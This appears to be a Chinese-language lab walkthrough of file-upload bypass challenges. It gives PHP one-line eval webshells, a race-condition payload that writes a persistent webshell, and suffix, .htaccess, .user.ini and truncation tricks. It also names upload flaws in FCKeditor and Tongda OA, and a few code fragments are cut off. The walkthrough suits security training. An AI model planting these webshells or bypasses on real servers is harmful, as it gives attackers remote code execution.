Pass-01
前端校验,直接使用 Burp 抓包,修改文件名为 p01.php 内容为一句话木马。<?php @eval($_POST["shell"]); ?>
Pass-02
同上即可
Pass-03
校验了文件名,并且会自动重命名,使用 php345/phtml,其余同上
Pass-04
这道题需要 httpd.conf 中开启 AllowOverride All
因为对文件名进行了严格的辨别,上传的文件无法解析
所以只能利用 .htaccess 来解析为 php
1 | <FilesMatch "images.png$"> |
images.png 中的内容为一句话木马
Pass-05
根据源码,对文件扩展名做了复杂的过滤,几无可能上传可直接被解析的文件了。
从网上找到了通关指南
上传 .user.ini
后,再上传一张图片马,等待其起作用即可。
Pass-06
根据源码发现对后缀的匹配是列表形式,没有大小写转换,尝试用 phP/Php 上传 phpinfo 但无法解析。
如果 php 以 FASTCGI 的模式工作于 Apache 中,此种模式下 php 遇到类似 aaa.xxx 这种不是 .php
后缀的文件,会触发 500 错误,另外 nginx fpm 存在一个 security.limit_extensions 配置,默认只解析 php 后缀的文件。
同时其还会对文件重命名,所以上传 .user.ini 会失效。
同样尝试绕过文件后缀的检测:info.php. .
也会失败。
Pass-07
没有过滤文件扩展名的空格,所以使用 .php
可以绕过,但不适用 Linux 系统。
Pass-08
文件名可以保留,那需要用一种被自动忽略的后缀绕过,尝试 :/&.
最后 点 可以成功。
Pass-09
::$DATA
没有检查,可以绕过;仅适用于 Windows。
Pass-10
使用 p10.php. .
可以绕过,因为其末尾的 点 会被自动忽略,而 点空格接下来也会被忽略。
Pass-11
只是一个简单的字符替换,双写绕过即可。
Pass-12
使用 %00 截断,但要求 php<5.3.4 没有满足条件的环境。
具体参考通关攻略。
Pass-13
同上
Pass-14
制作图片马,二进制合并即可:copy a.jpg /b + b.php /a c.jpg
Pass-15
调用 getimagesize 本质上还是在校验是否为图片。
Pass-16
使用 exif_imagetype 判断文件类型。
Pass-17
使用 imagecreatefrompng 二次渲染。
经过分析 jpg png 文件结构,加入数据无法被正确识别,gif 则更方便。
具体参考通关攻略。
Pass-18
注意到:首先 move_uploaded_file 将文件存放到了 upload 目录里面,然后根据执行 unlink,才回去删除,这时候可以使用条件竞争。
burp 抓包后,开始 null payload 爆破,可以把服务器连接数量调到极大,经过巨量发包,等待错误出现。
将原来一句话木马换为:<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
这一样一个写木马。
这里的关键是:在 burp 不断上传的过程中,使用一个 python 脚本在不断地请求上面的木马,在写木马的 php 存在于服务器的一小段时间内如果被 python 脚本访问到了,那就写入了一个 Tony.php 的一句话木马。
Pass-19
上传图片马然后利用文件包含漏洞,但此题没有明确指出可用文件包含漏洞。
使用 Apache<5.3.4 版本的 0x00 截断漏洞,但无法尝试。
Pass-20
是用 multipart/form-data; 传递的文件名,通过 大小写/点/::$DATA 等方式皆可,单纯匹配黑名单列表校验。
Pass-21
增加了很多校验,但只需要添加一下内容即可绕过:
1 | -----------------------------46324931516294928123512598852 |
漏洞成因:
1 | //check filename |
首先是判断 $_POST['save_name']
是否为列表,如果不是列表就根据 .
来拆分,构造 save_name
array,一共三个元素,0 位置是文件名,1 位置置为空,2 位置是一个合法的扩展名。这样接下的 end() 就获取到了一个合法的扩展名,然后到拼接的时候 count($file) - 1
是 1,即拼接空,相当于原文件名没有改变。
Pass-21
FCKeditor 2.4.3 文件上传漏洞,windows 可用 .
或 空格 等轻松绕过。
Pass-22
根据 POC 使用 shell.<>php
可以绕过,细节定位:pull
Pass-23
通达OA v11.8以下存在文件上传接口,可上传 .user.ini 文件包含有PHP语句的文件导致命令执行 安装包在根目录下
Pass-24
通达OA v11.2 upload.php 后台任意文件上传漏洞 安装包在根目录下
23/24 均未实验。